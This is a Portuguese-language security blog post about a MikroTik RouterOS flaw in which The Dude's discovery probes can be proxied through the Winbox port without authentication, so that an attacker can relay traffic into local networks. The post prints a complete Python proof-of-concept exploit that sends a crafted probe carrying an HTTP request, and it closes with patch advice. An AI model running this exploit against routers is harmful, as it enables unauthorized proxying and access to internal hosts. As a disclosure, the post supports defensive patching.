O The Dude da MikroTik tem um recurso de descoberta de rede que envia sondagens (probe) definidas pelo usuário para descobrir serviços de rede. Existem várias sondas pré-definidas para HTTP, FTP, Telnet, etc.
Network Maps |
Esse recurso permite uma "varredura recursiva" na rede, na qual as sondagens podem ser intermediados por proxy através da porta Winbox do MikroTik (8291). Descobriu-se que a autenticação não era aplicada nessas solicitações de sondagem com proxy. Portanto, um invasor remoto não autenticado pode usar um roteador MikroTik para proxy de tráfego arbitrário. Além disso, os invasores oriundos da internet podem usar esse recurso para enviar solicitações aos hosts conectados a uma rede local.
Existem algumas limitações para a funcionalidade de sondagem do MikroTik. Uma sondagem suporta apenas até três solicitações e respostas. Além disso, a resposta não é retransmitida para o cliente solicitante. Em vez disso, a resposta é comparada com uma expressão regular definida no formato do probe.
Abaixo segue um PoC (Proof of Concept) no envio de uma requisição HTTP GET, a partir de um IP público:
import argparse import socket if __name__ == '__main__': cmd_parser = argparse.ArgumentParser(description="PoC") cmd_parser.add_argument("-i", "--ip", action="store", dest="ip", required=True, help="Router IP") cmd_parser.add_argument("-p", "--port", action="store", dest="port", type=int, help="Winbox Port", default="8291") cmd_parser.add_argument("-n", "--name", action="store", dest="name", help="The new hostname") args = cmd_parser.parse_args() # Connect to Mikrotik router sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "[+] Attempting connection to " + args.ip + ":" + str(args.port) sock.connect((args.ip, args.port)) print "[+] Connected!" request = ('\x9e\x01\x00\x9c\x4d\x32\x05\x00\xff\x01\x03\x00\x00\x08\x42\xfc\x7b\x5a\x04' '\x00\x00\x09\x50\x06\x00\xff\x09\x01\x07\x00\xff\x09\x01\x07\x00\x00\x21\x46' 'GET / HTTP/1.1\r\nHost: 66.252.123.90\r\nUser-Agent: Oops\r\nAccept: */*\r\n' '\r\n\x08\x00\x00\x21\x25^HTTP/1.1 200 Ok\r\nServer: micro_httpd\x01\x00\xff' '\x88\x01\x00\x68\x00\x00\x00') sock.sendall(request) resp = sock.recv(1024) print '<- ' + resp sock.close()
Dessa forma é importante manter sua RouterOS atualizada tendo em vista que a falha afeta as versões anteriores a RouterOS 6.43.12 (stable) and 6.42.12 (long-term).
----------------
Referências
Blog Mikrotik Security
NIST
otimo conteúdo!
ResponderExcluir